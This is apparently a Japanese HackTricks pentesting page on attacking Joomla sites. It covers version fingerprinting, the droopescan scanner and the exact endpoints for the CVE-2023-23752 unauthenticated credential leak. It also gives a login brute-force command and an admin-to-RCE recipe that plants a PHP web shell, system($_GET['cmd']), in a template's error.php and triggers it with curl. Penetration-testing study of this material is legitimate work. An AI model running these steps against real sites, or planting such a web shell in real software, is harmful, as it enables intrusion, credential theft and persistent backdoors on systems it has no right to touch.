Joomla

Support HackTricks

Joomlaの統計

Joomlaは、Joomlaのインストールで使用されているJoomla、PHP、データベースのバージョンやサーバーのオペレーティングシステムの内訳など、いくつかの匿名の使用統計を収集します。このデータは、彼らの公開APIを介してクエリできます。

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Enumeration

Discovery/Footprinting

  • メタを確認する

curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt

1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

バージョン

  • /administrator/manifests/files/joomla.xml でバージョンを確認できます。

  • /language/en-GB/en-GB.xml でJoomlaのバージョンを取得できます。

  • plugins/system/cache/cache.xml でおおよそのバージョンを確認できます。

自動

droopescan scan joomla --url http://joomla-site.local/

In 80,443 - Pentesting Web MethodologyはCMSスキャナーに関するセクションですで、Joomlaをスキャンできます。

API 認証なしの情報漏洩:

バージョン4.0.0から4.2.7は、認証なしの情報漏洩(CVE-2023-23752)に対して脆弱で、クレデンシャルやその他の情報をダンプします。

  • ユーザー: http://<host>/api/v1/users?public=true

  • 設定ファイル: http://<host>/api/index.php/v1/config/application?public=true

MSFモジュール: scanner/http/joomla_api_improper_access_checks またはrubyスクリプト: 51334

ブルートフォース

このスクリプトを使用して、ログインのブルートフォースを試みることができます。

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

もし管理者の資格情報を取得できたら、PHPコードのスニペットを追加することでRCEを実行できます。これをテンプレートをカスタマイズすることで行います。

  1. Configurationの下にある**Templatesクリック**して、テンプレートメニューを表示します。

  2. テンプレート名をクリックします。Template列の下にある**protostarを選択しましょう。これでTemplates: Customise**ページに移動します。

  3. 最後に、ページをクリックしてページソースを表示できます。error.phpページを選びましょう。以下のようにコード実行を得るためのPHPワンライナーを追加します:

  4. system($_GET['cmd']);

  5. 保存して閉じる

  6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id

From XSS to RCE

  • JoomSploit: Joomlaの脆弱性を利用するスクリプトで、XSSをRCEまたはその他の重大な脆弱性に昇格させます。詳細はこの投稿を確認してください。Joomlaバージョン5.X.X、4.X.X、3.X.Xをサポートし、以下を可能にします:

  • 特権昇格: Joomlaにユーザーを作成します。

  • (RCE) ビルトインテンプレートの編集: Joomlaのビルトインテンプレートを編集します。

  • (カスタム) カスタムエクスプロイト: サードパーティのJoomlaプラグイン用のカスタムエクスプロイト。

Support HackTricks

Last updated